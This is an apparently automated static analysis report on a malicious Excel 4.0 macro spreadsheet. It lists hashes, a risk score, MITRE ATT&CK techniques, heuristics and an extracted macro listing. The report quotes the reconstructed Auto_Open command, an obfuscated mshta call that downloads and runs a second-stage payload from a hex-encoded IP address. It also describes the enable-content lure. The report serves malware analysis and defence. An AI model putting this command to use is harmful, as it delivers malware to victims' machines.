Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 c7ee60eac55fdb08…

MALICIOUS

Office (OLE) / .XLS

64.9 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: bba4dcdff92a4dc679e221fe48ebd94a SHA-1: d77499536f366cf4a9b73061bcd032fd0ac8ed33 SHA-256: c7ee60eac55fdb0857650acd0e14a87bb8a864a2737fb4242fcab9bd1563ad18
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File T1059.003 Windows Command Shell

The sample is an Excel 4.0 macro-enabled spreadsheet. It contains an Auto_Open macro that is configured to execute a command. The command, reconstructed from the obfuscated string, is 'cmd /c msh^t^a http://0xc12a24f5/c.html'. This command is designed to download and execute a second-stage payload from the specified URL. The document body also contains a lure instructing the user to enable content, which is a common tactic to bypass security measures.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes